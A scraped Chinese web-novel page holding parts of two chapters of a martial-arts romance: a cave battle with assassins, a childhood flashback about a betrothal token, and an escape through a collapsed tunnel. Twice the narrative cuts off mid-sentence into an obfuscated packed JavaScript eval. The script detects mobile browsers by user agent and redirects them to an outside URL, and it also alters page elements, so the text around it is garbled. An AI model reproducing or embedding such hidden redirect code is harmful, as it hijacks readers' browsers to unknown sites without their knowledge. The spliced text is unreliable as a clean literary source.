邹杲一脚踢开右边朝李棋的腰侧刺来的人,还没来得及缴了他的武器,就被热血喷了一脸。 “小棋儿!”邹杲说话的声音都在颤抖。 “死不了。”李棋一鞭子将铺面而来的几人打飞出去,顺勾过一把刀塞到邹杲手里。 “留在这里都得死,我拖住他们,你爬上马背,找准机会冲出去。” 李棋说罢,快速从腰包里掏出一枚止血的药丸,塞到嘴里,还不等邹杲说话,便先冲了上去。 白衣人再次发号施令:“拦住洞口,杀无赦!” “是!” 二十多名白衣人把原本还算宽敞的山洞占满,黑压压的人同时围上来。 李棋也不甘示弱,一人一鞭成了一道坚不可摧的围墙,紧紧挡在邹杲面前,出乎她意料的,千赤也加入了战斗。 看着千赤把一个高壮的男人撞飞到山壁上,李棋有瞬间的目瞪口呆,不过很快就反应过来,她攻上方,千赤攻下方,与千赤并肩作战,还有邹杲在后方用碎瓷片在关键时刻相助,一时也未落下风。 直到,李棋因为失血与高强度打斗,再次精疲力竭。 白衣人很多,这一批被李棋打伤,另一批又杀上来。 白衣人始终紧守洞口,根本不给他们可以逃出去的机会。 再拖下去,一旦李棋倒下,他们全部会死在这里。 形势越发焦灼,他们完全落了下风,一个不算大的土瓷罐也被邹杲用得所剩无几。 邹杲虽然还是虚弱,但是看着为了他在前面浴血杀敌的李棋,他终究还是拿起李棋给他的刀,压制着躁动的气血与内力上前帮忙。 “小棋儿,你休息片刻。” 闻言,李棋回头一看,邹杲已经冲到她面前,并且抓着她的右肩膀,将她提到了身后。 李棋的确疲惫,左肩也疼痛不已。 她没有逞强,收起鞭子,她靠在石壁上粗重喘息,想抬手给自己包扎伤口,却实在没力气。 这是李棋第一次见邹杲出手,她也真真切切感受到,邹杲能成为战神的实力。 他杀伐果断,每一招都是杀招,没有一步是无用的,和李棋只打伤不下死手不同,他一招一式都是为了杀人。 他几乎一步杀一人,血液四溅,弄脏了邹杲的脸,也蒙住了李棋无用的善心。 这一路上,她打伤了很多人,但是却没有杀过一个人,这也是她第一次看着一个个活生生的人在她面前死去。 作为医者,李棋心里极度不适。 但白衣人的进攻却越发猛烈,邹杲杀了他们七八个人的同时,他们也在邹杲和千赤身上砍了好几道血淋淋的口子。 李棋不敢再犹豫,她真的不想死,更不想看着邹杲和千赤死。 看着已经突破邹杲和千赤的防线的白衣人,她用手中的鞭子击飞率先冲上来三人,而后单手将鞭子捆在腰上。 她才捡起一把沾满鲜血的刀,就见邹杲猛地吐了一大口血。 “邹杲!” 看到邹杲脚步漂浮,下盘不稳,李棋大惊,想上去扶他,一时半会却被围困得过不去。 邹杲又杀掉一人,用手中的刀支撑着勉强站立,他找不到空隙回头,只能温声安抚提醒她,“我还死不了,小棋儿别分心,保护好自己。” 说罢,便强撑着继续与围上来的人厮杀。 李棋也发了狠,她对着一个白衣人扔出手中的刀,刀砍伤那人的同时,她忍着左肩的疼痛,手摸向了腰包最深处。 她从小腰包里掏出一个绣着黑色甲虫的小香囊,小香囊里面还有一个小瓷瓶。 “邹杲,带着千赤退后!” 说罢,她一跃到半空之中,打开瓶口朝白衣人的方向撒去,同时,手里还拿着之前吹过的埙。 “我想活,所以对不起了,要怪就怪你们背后之人吧。” 李棋咬牙快速说罢,落在洞壁半空一个突出的石头上,吹奏起手中的埙。 邹杲虽然虚弱,看着来势汹汹、密密麻麻的黑色小甲虫,心中大惊,连忙后退,同时吹着口哨唤回千赤,退到了李棋下方。 “蛊虫!是鬼族的蛊虫!撤退!”白衣人首领大惊喊着,想往后退却来不及了。 白衣人们手忙脚乱逃跑,反而堵住了洞口。 被李棋撒出去的黑色小虫子飞到他们身上,随着埙声越发激昂,小虫子往他们身上钻得越快,白衣人痛苦的叫声也越发激烈。 不过半刻钟,山洞里里就只剩下李棋、邹杲、千赤,以及二十多具满是血洞的尸体。 有几个白衣人以同伴为盾牌,侥幸逃出了去。 李棋没有让小虫子们追上去,她已经到了极限。 但是她还不能停止,嗜血虫一旦失控,她和邹杲也逃不过。 李棋吹出来的埙声渐渐舒缓,数百只细小的小黑虫又钻进了李棋手里的瓶子。 她咬破自己的手指,滴了几滴血进去,特定的盖上瓶子,将香囊放回腰包后,再也站不住,失力摔了下来。 邹杲一惊,和千赤一起,才勉强接住她。 邹杲抱着李棋,顺势躺靠在千赤身上。 靠在邹杲怀中,看着满地的尸体,看着自己的双手,李棋久久无法缓过劲来了。 “我杀人了!我真的杀人了……” 邹杲再也顾不得那么多,紧紧将李棋抱在怀中。 “今天,不是他们死就是我们亡。弱肉强食,现下的生存方式便是如此,他们选择来杀我们的时候,就注定是非死即伤的结局,小棋儿,别难过,别内疚。” 邹杲说着,视线转移到李棋鲜血直流的左肩。 血流如注,染红了李棋身上蓝白色的衣袍。 “你左肩的伤太过严重,得先处理。” 李棋像是没听到,还是只失魂落魄念叨‘我杀人了’。 “小棋儿,……为了你的身体着想,我,冒犯了。” 他说着,想起身去拿藏在山洞角落的包袱和匕首,但是没能站起来,就又跌坐回去。 还是千赤起身,先是叼着李棋之前用来抓鱼的匕首过来,又叼来了包袱,然后就趴到了两人身后,任由他们靠着。 邹杲摸了摸千赤的头,拿起匕首把她伤口处的衣服割掉了一些,匕首还是李棋随身携带的,刚刚用来杀鱼,就放在火堆旁,此刻还是烫的。 他自己没有带任何兵器,宽大的袖袋里,就装了一点点药、一点点钱,和一点点他珍贵的物件。 邹杲撕开李棋左肩伤口附近的衣服,首先映入眼帘的是被鲜血染得更加妖艳的刺青。 是一朵花,行军打仗多年,邹杲经常见到,名为彼岸花,是生长在坟地里、尸骨上的花,代表死亡的花。 李棋的皮肤很白,与她这些天风吹日晒得有些沧桑的脸形成鲜明对比。 鲜血一样红的彼岸花盛开在她白皙的锁骨上,好像是从锁骨下、血肉中长出来的一样。 她伤在肩头,伤口流出的血液覆在锁骨的彼岸花上面,说不出的诡异与妖艳。 “果然……” 邹杲有些激动,话还没说完连忙又停下,这时,李棋不知道是感觉到冷还是如何,突然反应过来。 她一把推开邹杲,慌忙用右手捂住了左肩的伤口。 邹杲本就虚弱,身上也都是伤,一个不防,仰面摔了个屁墩,四脚朝天,跟乌龟一样,伤口也跟着被牵动,流了些雪。 他爬起来,看向李棋的眼神幽怨极了,“小棋儿,” 但他的话没说完,李棋便出声吼道:“你眼睛是瞎的,耳朵也是聋的吗?早就知道我不是男的,为什么要撕我的衣服,你真就那么关心我吗?” 此时此刻,邹杲恨不得回到和李棋重逢之时,早知如此,他便不装睁眼瞎,不逗李棋了。 见他沉默,李棋更加崩溃,“就算是兄弟也该有个界限,何况……你是小灵的心上人,而我是他最喜爱信任的姐姐啊!” 邹杲愣在原地,没想到这才是李棋情绪过激的真正原因。 他心中欢喜,想要解释,张了张嘴巴,却说不出话来,或者是不知道该说什么、能说什么。 是的,这才是李棋愤怒的真正原因。 第一次杀人,还是那么多人,作为医者,李棋真的很难接受。 但被邹杲抱在怀中安抚,她真的很安心,真的很希望就这样一直窝在邹杲的怀抱中。 她一直在给自己暗示,说现在是特殊情况,就一小会儿,再一小会儿。 她不会和小灵抢,只是特殊情况下的一小会儿。 感觉到肩膀处的冰冷,李棋恍然惊醒。 她都做了什么,抱着她的这个人是她弟弟的心上人啊。 怎么能,她怎么能如此! “小棋儿、李棋,之前是我不对,但你肩膀上的伤还在流血,我不再碰你,也不再看你,你先把伤口处理一下。” 他说着,连忙背过身去,只将手边的药物和衣物递给她。 看着邹杲递到眼前的药瓶和一件干净的中衣,尽管看不到他的眼睛,李棋还是愧于面对他。 她默默伸手将东西都接过来,起身走到离邹杲和千赤一丈远的地方,这才背对他们处理起伤口来。 邹杲也没再说话,只不时传来沉重的呼吸声,是千赤的呼吸声,邹杲在给千赤处理伤口。 等李棋包扎好肩上的伤口回过身一看,千赤身上的几道口子都涂上了白色的药粉。 邹杲没穿上衣,靠在千赤,费劲给背上的伤口涂抹着止血药粉。 李棋最终还是于心不忍。 她走到邹杲身边蹲下,“转过去。” 邹杲看到她,当即就笑了,乖巧转过身去。 他身上很多交错的老疤,新的伤痕覆盖在几条旧伤痕上,看着令人不忍。 他也比李棋想的更能忍痛,除了呼吸重点,再没有其他表现。 撕下一块布给他把伤口包扎好,李棋给他披上了披风,沉默又走到旁边坐下。 许久,穿好衣服的邹杲出声打破沉默,“对不起……” 李棋一怔,好一会儿,才佯装轻松笑着问:“对不起我什么?明知我是女子还与我称兄道弟戏弄我,还是自作主张撕开我的衣服,看到我身上的秘密?” “都有。”邹杲声音有些沙哑,“小棋,坐过来吧,靠千赤身上暖和一点。” 李棋定定看着他,没有动作。 “我走开,你过来,你身上的伤太严重,要是再发热,后果不堪设想。” 他说着,起身就要给他腾位置。 “不用。”李棋上前,按住要起身的他,在他身边坐下后,故作豁达笑道,“江湖儿女,不拘小节。生死关头,小灵就算知道了,应该也不会怪我的。” 邹杲想跟着笑,却笑不出来,想要说什么,却没能说出口。 想到锁骨处的异常,好一会儿,李棋缓缓问:“我锁骨处的花,你都看到了是吗?” “嗯。” 话音落下,又是许久的沉默。 好一会儿,李棋才说,“从我有记忆起,它就在了,不是刺上去的,是从皮肤里长出来的,我曾经问过师父很多次缘由,每次师父都不说,更叮嘱我不准我和别人说,连另外几个师父都不准。很奇怪,很诡异……” 邹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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那几天生病的人太多了,朝廷派来的医师没精力挨个检查开药,熬煮的都是治高热风寒的,对他母亲来说根本没用。 成里其余医馆的又只认钱,不认人,彼时尚还年幼,又经历了暴雨,他自然拿不出钱来。 听闻皇家猎场里到处都是宝贝,随便一颗草药都价值千金,顾不得那么多,他摸清路线、确定目标后,顺着山间的溪流,花费了大半天,才终于潜进其中。 关于皇家猎场遍地是珍宝的传闻他是从一群乞丐口中听来的,他们也说了里面的危险和层层把守的重兵。 也怪他还年幼考虑不周,没摸清其余情况,他去的那天,皇家猎场正好在进行狩猎活动。 但他发现的时候已经走过了最难走的一段,他不甘心无功而返,于是只得硬着头皮深入。 他很紧张,一路都小心翼翼的,确定没问题,才敢浮出水面。 不料,他才探出脑袋,就和河边的大树后的女孩来了个四目相对,两人都是一惊。 惊慌之间,他也看清女孩的模样,虽然她的脸上脏兮兮、衣服头饰乱糟糟,但她长得很漂亮,比村里最好看的小云更漂亮。 彼时的他还虽然被惊艳到,但更多的是害怕,反应过来,他转身就要往来的方向游,瓷娃娃一样的小女孩却从树后出来,一边追着他跑,一边好奇问: “你怎么从水里出来啊?你是水里的精怪吗?你别跑啊,我不是坏人……” 十岁的邹杲,那时他还叫姜茭,他看着自己一身灰扑扑、打了好几个补丁的衣服,第一次觉得自卑。 “我不是。”姜茭停下来,转身看向她,“你是大嬴公主吗?为什么会一个人在这里?你要喊人来抓我吗?” “我喊人来抓你做什么?”小女孩不解说罢,古灵精怪笑着又说,“我不是嬴国的公主,我是梁国公主…的小婢女哦,我叫萧绡,哥哥你叫什么名字啊?你不是精怪,那你为什么会在这里,这里是嬴国的猎场,皇帝和我、皇帝们在狩猎,外面可多士兵看守了。” “我知道。”也许是小女孩的笑容太纯粹了,姜茭傻兮兮的把自己的来意都说了,“我叫姜茭,我娘生病了,需要很多钱,我听说这里遍地是值钱的草药,就偷偷游进来了。你可以不告诉他们我来过吗?” 女孩子笑得灿烂可爱,“可以啊!” 姜茭被她的笑容迷住,觉得这样美好的仙女应该会帮他度过难关的吧,于是贪心又问:“那你知道哪里有值钱的草药吗?” “没看到什么药草哦,这里只有凶巴巴的大猫,还有坏兮兮的人,他们在我面前杀了好多可爱的兔子,还有漂亮的鸟儿,还把我丢在这里。” 姜茭很失望,很难过,难道就真的没有办法可以救他娘了吗。 就在这时,萧绡给了他希望。 “姜茭哥哥,你陪我玩一会儿,我把我的金发簪给你好不好,姑姑,就是梁国公主的姑姑说,我的发簪很值钱的。” 看着女孩身上的金饰,姜茭激动不已,瞬间又有了希望。 “这么贵重,你真的愿意给我?” 但他也知道其价值之贵重,若非教养和小女孩纯真的笑脸,他或许真的会抢了金簪就跑。 “真的啊,姑姑说,乖乖的小孩子是不能骗人的,我是最乖的小孩,所以我不会骗你的哦。” 看着萧绡天真可爱的面容,他选择相信,也只能相信。 “好,不过,我也不能待太久,要是被发现,我就回不去了,我娘亲还在等我回去救她。” “姜茭哥哥放心吧,这里很偏僻的,我被他们骗着走了好久,才走到这里的。”萧绡单纯笑道,“姜茭哥哥,你也教我浮水吧,你好厉害啊!” 她说着,直接跳到了水里,但是她不会水,一个劲往姜茭身上扑。 姜茭也没教过别人浮水,何况是这么可爱漂亮,像娘亲给他讲过的传说中的仙女一样的小女孩。 他手忙脚乱的,费了好大的功夫才拖着萧绡重新上岸。 虽然他年少无知,没见过真正的公主,但也知道萧绡在身份上说了慌。 萧绡穿着一身淡紫色的锦裙,连鞋子都是金线绣花镶嵌珠玉的,头饰更甚,金的,玉的,金镶玉的,都是亮闪闪的。 “先把你头上的东西都摘下来,太重了,容易掉水里,然后听我的指挥,慢慢下来。” “好!”萧绡非常粗暴地去扯头上的发饰。 看她疼得龇牙咧嘴,姜茭哭笑不得。 “你别动了,我帮你拆。” “好呀,谢谢哥哥!” 小女孩人乖,嘴也甜,一点不知道防着人,也不怕姜茭得了宝贝就跑。 不过,彼时的姜茭也没想这种下流无耻的方法。 取下身上的饰品,她整个人都轻松了,乖乖听着姜茭的指挥,跟着他下水。 可怜萧绡压根不会水,不知水的深浅,还大胆,下到水里后,姜茭才刚放开她的手,她就直接往下沉。 “姜茭哥哥,救救我!我要被水鬼吃掉了。” 童言无忌的话语天真又可爱,但却把彼时的姜茭吓了一大跳。 他连忙游过去托着她。 看到女孩笑,他也跟着笑,“你怕水鬼还敢下水啊?” “一点点怕。”萧绡也有些不好意思,她红着脸又说,“哥哥你别笑我,等你教会我浮水,我就不怕水鬼了嘛。” “好,那你先放开我,我教你浮水。” 然而,萧绡却不敢放开他,死死抓着他,挂在他身上,折腾许久,姜茭推都推不开,不但一点进展也没有,他自己也累得要死。 萧绡还伸出手摸他的脸,“哥哥,你长得好好看哦,你可不可以一直陪我玩啊?” 直白的夸赞,诚挚的眼神,没少被夸的姜茭在这一瞬间却脸蛋通红。 “我……呃,我们…先去岸上休息一下吧。”姜茭说着,手忙将乱托着她就往岸边游。 想到男女授受不亲,一到岸上他就把人放下,也不敢多看,佯装轻松躺到了草坪上,大口喘着气。 为了更自然,还习惯性抓了一根草,用手弄干净后,叼在嘴里若无其事咬着玩。 萧绡却不放过他,应该也还没有男女授受不亲的意识,趴在他身上又来摸他的脸,“哥哥,这个草是甜的吗?你吃得好好吃的样子,可不可以给我也尝一尝?” 她问着,伸手就要来拿姜茭嘴里咬过的那根。 姜茭心怦怦跳,连忙侧过头,还快速将嘴里的草吐了出去,“不好吃,你别吃,” 话音未落,萧绡又抓起他脖颈间藏在衣服里的一对阴阳木鱼挂坠,“姜茭哥哥,这个是什么,可以送给我吗?好好看、好可爱啊!” 这是他父亲留给他的唯一的念想,留给他和未来妻子的信物。 姜茭看着她手里拿着的东西,想都没想,就抢了回来,并且藏到衣服里双手紧紧捂着。 看着她委屈巴巴的表情,才小声解释道:“这是我爹留给我的唯一念想,我娘说这是他给我和我未来的妻子准备的,这个只能给我妻子和我,不能给其他人。” 他说着,将吊坠一分为二,演示给萧绡看,“这个是一对信物,不是普通的挂坠,是不能随便送人的。” 萧绡向来喜欢做工精致漂亮的小玩意,但是年纪尚小,还没有人告诉她妻子是什么。 她抢过一半,握在手里,古灵精怪笑道:“那我做姜茭哥哥的妻子,这个小鱼儿是不是就可以给我了。” 姜茭愣住了,脸也更红了。 他已经知道妻子是什么了,他和萧绡出身有着云泥之别,萧绡一句笑言也当不得真,但是看着萧绡天真的笑容、娇俏的脸蛋,他根本不想拒绝。 沉默片刻,他严肃问:“你知道什么是妻子吗?” 见萧绡那懵懂的眼神,姜茭就知道她不知道,他又解释说,“做了我的妻子,你就得离开你的父母,和我一起生活,还要和…和、和我生儿育女。” 说罢,姜茭就羞得起身背过身去,萧绡却不放过他,也起身追着他绕圈,还问:“什么是生儿育女啊?” 姜茭脸爆红,结结巴巴、吞吞吐吐,也不敢看她,半天都说不出一个字来,“反正,就是你以后要和我一直待在一起,只有逢年过节才能回去看望你的父母。” “哦哦,原来是这样啊!那我要好好想想。” “嗯,你想吧。” 她还真认真思考了好一会儿,然后才凑到姜茭面前,开心笑道:“哥哥,我仔细想了想,姑姑没说过我以后要给谁做妻子,你长得好看,对我还好,我可以给你做妻子。” 萧绡说着,踮起脚就要把其中一条小鱼儿从他脖子上取下来,“就这么决定了,姜茭哥哥,我给你做妻子,你把这个小鱼儿给我,好不好。” 他还想再和萧绡解释一下其严肃性,突然听到了叫喊声,很多人的叫喊声。 似乎在喊什么公主。 他连忙躬身,拉着萧绡躲在树后,萧绡却顺势从他脖子上取下一条小鱼。 “糟了,他们来找我、找公主了,你快走。”萧绡慌乱说着,拿起一堆发饰塞到他怀里。 “你说要做我妻子是认真的吗?”此时,他却在意起了这个。 萧绡却面色凝重问:“姜茭哥哥,做你的妻子和嫁人是一个意思吗?” 姜茭不解,但点头道:“嗯,你嫁给我做我的妻子,就是嫁人。” 萧绡很是为难,“那我可能不能嫁给你了,姑姑说,我以后要嫁的人得穿紫色或红色的衣服,你穿的褐色衣服,我父皇是不会同意我嫁给你的。” 听到‘父皇’二字,姜茭一惊,他不小了,也知道有些颜色的衣服是只有当官的才能穿的。 而他,只是一个小木匠的儿子。 他顿感自卑,但还是紧紧抓住萧绡的手,急切道:“我会穿上你说的颜色的衣服,让你父皇满意,然后来求娶你。” “我会好好努力的,你等等我行吗?至少等我到十八岁。” 萧绡只为难了片刻,便欣然笑道:“那好吧,等姜茭哥哥你穿上紫色或红色的衣服了,就来大梁皇宫找我,到时候,我就嫁给你,做你的妻子,和你生儿育女呀!” 姜茭激动得想哭,紧紧握住她的手,“好,我一定回来赴约的,你一定等我!” 她笑得天真烂漫,“嗯嗯,我喜欢姜茭哥哥,我们说好了,你以后一定要来让我嫁给你啊!” 这时,呼喊‘公主’‘李蕲公主’的声音越发的近。 两人都舍不得,但还是得分开。 “姜茭哥哥,我得走了。” “嗯,你去吧,一定要等我,我一定会来娶你的!”姜茭不舍摸着她半干的头发承诺。 萧绡也露出了不舍的情绪,但听着越来越近的声音,她还是拿着小鱼儿,一步一回头地走了。 姜茭就这么站在原地目送她。 走出去七八步,她又停下了,她快步跑到姜茭面前,拉下了左边肩膀的衣服,严肃道:“姜茭哥哥,你看,我这里有个花花,我看过了,这样的花花只有我有,等你来找我时,一定要看清楚,千万不要把我认错了!不然我会很生气很生气的!” 只一眼,他看得不是很清楚,但是他知道那是彼岸花,在萧绡左边的锁骨处,有一朵盛开的彼岸花。 开得很灿烂,如同萧绡那灿烂的笑容般。 这个笑容,这朵花,让姜茭很清楚的记了很久很久。 10. 无尽卷·第十章 10 邹杲处理完伤口,沉默盯着快要熄灭的火堆,想起十岁时的回忆,又想起李棋的师父毒赋不小心露出来的那个他留给萧绡做信物的木鱼吊坠。 一时间,他思绪万千。 那天下午,萧绡给他的那些发饰,只是最不起眼的一件,就治好了他娘的病。 等他娘的病开始好转,他就拿着剩余的钱去到学堂继续念书。 他始终记挂着和萧绡的承诺,一直期待着做出一番大事业,然后去梁国把她娶回家,为了这个目标,他一直在好好读书,哪怕他对读书不感兴趣。 可是,造化弄人,虽然不再愁钱财,但三年后,他娘还是去世了。 留下他一个人孤苦伶仃。 失去了母亲的庇佑,又因为萧绡给他的那些昂贵精美的首饰,他没少被同村的流氓地痞们殴打抢夺。 那些都是萧绡给他的,他知道有人眼馋,也幸好他在埋葬了他娘亲的当夜就摸黑埋到了他娘的坟前,如此,那些东西才得以保存。 后来,他得知大嬴在招兵,本就不喜欢读书的他自然选择去军营,但因为年龄,他被赶了出来。 他不死心,又追上去,因为邹瑅,他才得到留了下来的机会。 才入军营没两天,他就从士兵们的聊天中得知,大梁早在一年前就灭国了。 大梁的皇帝、皇帝的妃子,还有公主们都被大火烧死殉国了。 他们说,大梁皇宫的大火整整烧了十天,刚开始的时候,老远就能听到惨叫声和哭嚎。 他们还说,没有一个人能逃出来,大梁皇室的人都死绝了。 知道这个消息的他只觉天塌了。 他生病了,高烧不退,邹瑅说,足足烧了三天,军医还说他救不回来了,给邹瑅吓惨了。 后来,他也查过,知道梁国在那年和梁国皇帝来到大嬴的公主只有李蕲公主一人。 彼时,想到抢走他的小木鱼、笑颜如花说要做他妻子的小女孩已经丧身火海,他一下子失去了方向,又想到他在这世上再没有一个亲人,他也不想活了。 他开始吃不下饭、喝不进水,就算陛下命人勉强给他灌了一些下去,他也会很快吐出来。 他不在和任何人说话,哪怕是陛下和邹瑅。 后来,也是陛下和他说:“姜茭,你既是大嬴子民,收复失地就是你不可推卸的责任。朕不知道你遇到了什么什么,因为何事变成这样。朕不深究,朕只想告诉你,朕破例将你收在身边,就是觉得你有追赶阿玙、胜过阿瑅的潜力。这才只是你跟着朕的第六个月,你这就要放弃了吗?” 阿玙,全名邹玙,是陛下的嫡长子,比他年长六岁,彼时,邹玙已经是大嬴无人不知的英雄人物了,所有人都仰慕崇敬他,觉得他会是大嬴下一位皇帝。 只可惜,天妒英才,邹玙在几个月前,战死沙场。 邹杲也只从邹瑅口中听到过一些关于这位大皇子的事迹。 邹杲从来没想过,在陛下眼中,他能与邹玙、邹瑅两位皇子相比。 也是那天开始,陛下开始重视他,不但将他时时刻刻带在身边,还和他同吃同住,一时间,他的待遇比同行的三皇子还好。 尤其,邹瑅还不曾嫉妒他,白日寻各种好吃好玩的哄着激着他多吃两口便罢了,每夜还都陪着他,想方设法逗他笑。 虽没有和他以兄弟相称,却非常依赖信任他,言行举止似乎都将他当做了兄长。 他好像又有了亲人、有了牵挂,渐渐的,他又了新的目标。 可随着他的长大,随着大嬴的失地的收复,他的目标完成了,处境也变得尴尬艰难。 失地已经收复,大嬴再次一统,义父曾经为他营造的战神威名成了一根刺,横插在他们父子君臣之间。 要说取而代之的心思,年轻气盛,极端愤慨之时也难免产生。 第一次听到李棋的名字,知道当年那个小公主可能还活着的时候,他真的很开心。 他等啊等,盼了盼,一切似乎都在他的预料之中,却又偏离了许多。 但眼前鲜活灵动的李棋还是还是让他很欢喜,他也打算逗着哄着将她留在身边,等再熟悉一些,就慢慢跟她坦白。 谁能想到,还没有走出鄂阳,毒赋就来了,还是拿着本该属于他的小公主的另一半木鱼吊坠,还扯出一个他听都没听过的名字——鬼机灵。 什么鬼的机灵,竟然还是虚无孤岛鬼族之人。 其中目的,不难猜测。 其中详细,亦不难猜。 哪怕确定这个李棋就是他寻找的小公主、小萧绡,他却不能相认,至少在不清楚她的阵营之前,他是万万不能交底的。 偏偏,李棋嘴上一边嫌弃他,说遇到麻烦第一个跑,一边又几次舍命护他。 如此赤城,叫邹杲如何能再理所当然利用她。 可一步错、步步错,如今,他一步走错,都得死。 而他一死,那些忠心追随他的、陪他出生入死的兄弟们,也都将陷入万劫不复之地。 他得足够小心,足够谨慎,才能活着,才能有时间和李棋纠缠,去弄清李棋此次入局的真正原因。 才有可能挽救,重续他们之间的前缘 ** 邹杲盯着火堆发呆,李棋靠在千赤身上,裹着她的披风闭目养神。 就这么安静待了许久,突然,千赤又开始躁动,它比上一次更激烈地站了起来。 “怎么了?”李棋忍着困意与疼痛,警惕拿起九龙神鞭,小心翼翼跨过尸体,朝洞口探去。 邹杲也站起来身上,追上李棋。 李棋回头看向他沉重道:“怎么办?我没有其他具有杀伤力的蛊了,嗜血虫消化很慢,它们今日吸食的这些血肉,至少要一个月才能消化。强行将它们放出来,它们不但会发狂失控敌我不分,还会彻底死去。” 邹杲一时也不知如何是好,只和李棋互相搀扶着,走到洞口。 他们小心翼翼探出脑袋,却没有任何异样,也没有人来。 可是千赤还在躁动,在靠近石壁的水边狂躁跺着蹄子。 “它怎么了?” 两人搀扶着又走了回来。 “我也不清楚。”邹杲摇头,和李棋一起走了过去,在水边查看。 他和李棋正站在水潭边上查看,突然,千赤猛地朝他们撞过来,两人反应不及,双双起飞,重重砸到水里。 但是他们并没有落在那看起来没有多深的水里,相反,他们好似撞开了什么。 他们在下坠。 完全落入水中,失去意识前,邹杲看到千赤飞一般地冲出山洞。 这速度,他只在一次大雨后,不得不穿过山涧去追捕敌军时见过。 当时,山涧因为暴雨塌了,幸好有千赤在,提前预警,他们的伤亡才没有太惨重。 在黑暗的甬道中,他只感受到一阵地动山摇,不等他去护着李棋,他先撞击到山体上,很快便失去了意识。 * 不知道过去了多久,李棋意识恢复,只觉腰酸背痛,她好像被暴揍了一顿,缠在她腰上的九龙神鞭硌得她生疼,刚包扎好的伤口估计也裂开了,她左臂都抬不起来。 四周漆黑一片,她什么也看不见,只在四周慌乱摸索着。 她一边摸索,确定她的腰包及里面的东西的损失程度,一边喊:“邹杲!王爷!你在吗?” “邹杲!” 没有人回应她,她更没有在附近摸到邹杲,她慌极了。 “邹杲!” “我在。”终于,邹杲虚弱的声音从远处传来,“我的腿卡石头里了。” 黑暗中,李棋循着邹杲的声音爬去,“刚刚是不是雪崩了?千赤会不会有事?” 邹杲的声音十分虚弱,“不用担心千赤,它跑的快,经验足,不会有事的。” “它也不会无缘无故把我们踢下来,每次喊它去找灵狐,它都在山洞转悠,或许这里与灵狐泪有关。” “如果真的是这样,那就太好了。”李棋说着,循着声音,爬到了尽头,“你在这里吗?我好像被一大堆石头堵住了去路。” “嗯,我在石头这边。” 长时间的夜间行军打仗让邹杲的夜间视力比普通人好上许多,透过石头的缝隙,他已经看到了李棋的身影。 “小棋儿,你听我说,你面前有一个和我上身差不多大小的石头,你先把它移开,往你来的方向移。”邹杲指挥道,“尽量往一边移,刚刚是你在下面,我们估计得往你那边走。” “直接移?”李棋担心问,“不会再一次伤着你的腿吗?” 李棋下意识的担心让邹杲欢喜。 他连忙让自己冷静下来,“不会,中间还有一块小石头,我的脚和小腿只是卡在石缝里,没有伤着。” “那就好。”李棋摸着石头移动了一点,“我站在这里可以吗?” 李棋站到了一边,刚好可以把石头移到另一边。这甬道还挺宽,估计得有五尺半,宽度比李棋的身高还长点,就是比较矮,不过两尺左右。 “可以,推吧。” “好。” 李棋虽然只有右手能使上劲,但在这种极端情况下,她还是咬紧牙关,使出了浑身的力气,幸好,还有邹杲在,两人联手一通努力,还是将这块不小的石头给移开了。 接下来的小石头,邹杲自己就都能移开了。 虽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16680495|188740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然没有压到腿,但是脚踝卡了很久,还是很疼,他的脚都有些麻木了,地方又小,他也不能站起来活动。 “接下来我怎么做?你还好吗?”血腥味太重,李棋无法分别是谁的,也看不清,只能言语询问。 他仔细看着李棋,想看清她脸上的担心的神情是不是作假,但是太黑,看不太清楚。 此刻不是纠结这些的时候,他连忙爬到李棋旁边,拉住她的手腕。 “我没事了,我夜视能力还不错,牵着我的衣服,跟我来。” “咕……” 李棋的肚子长长叫了一声,她有点窘迫,但很快,邹杲的肚子也开始应和,两人都饿极了。 被千赤撞下来的前不久,他们明明一起吃了鱼汤和一条鱼,而她门的肚子都饿到咕咕叫,这也意味着,他们或许昏厥了至少一天。 “干粮没来得及带,忍忍,” 两个肚子一唱一和的,两人都哭笑不得,很是无奈。 “先走出这条甬道再看看能不能找到吃的。”邹杲说着,牵着她的手去抓住自己的衣角,匍匐着在前面带着路。 李棋应声跟着他。 路上有很多小石头,邹杲边走,边清理到两边。 好在都是小石头,他一个人就能搬开,没有挡着他们的路太久。 爬了好久,还是没有爬出甬道,肚子也饿过劲了。 “这是谁挖的啊,这么长,我爬不动了。”李棋气喘吁吁说着,停了下来,“我肩膀上的伤撕裂得更严重了,我得处理一下。 “好,休息一下。”邹杲也闻到了浓浓的血腥味。 知晓此行凶险,出发前,两人就用荷包和棉花将瓷瓶都保护了一番。 他摸了摸袖袋,丢了一些,碎了一些,但剩下的也还能用。 他摸索着拿出止血的药粉递给李棋,“这里太黑,你自己来。” “嗯。”李棋接过药粉,龇牙咧嘴撕开黏在伤口上的布条,往上面撒药粉。 邹杲又扯了一圈中衣下摆递给她,“慢慢来,包扎好。” “好。” 李棋应着,摸索着接过递到自己面前的布条,靠坐在甬道壁上,一边费劲处理,一边问,“你这会儿还难受吗?毒性已经彻底压制住了?” 邹杲盯着李棋漆黑的身影,沉默了一下,道:“不知道,上次昏厥后,就没有再出现听到人说话便控制不住大笑的情况。” “不会就好,黑漆漆的一片,不能说话,交流会很麻烦……嘶……” 她说着,药粉倒到伤口上,疼得她直抽气,“这是用于紧急止血的金疮药吗?比上次疼多了。” “是,药效温和一些的碎了,只有这个了。” 李棋‘嗯’了一声,也没再说什么。 她想着长痛不如短痛,一咬牙,快速把自己的伤口包扎好,而后对邹杲道:“继续走吧,肚子太饿了,我们得尽快摆脱黑暗,找点吃的填填肚子。” “嗯。”邹杲沉重应着,却没有动作。 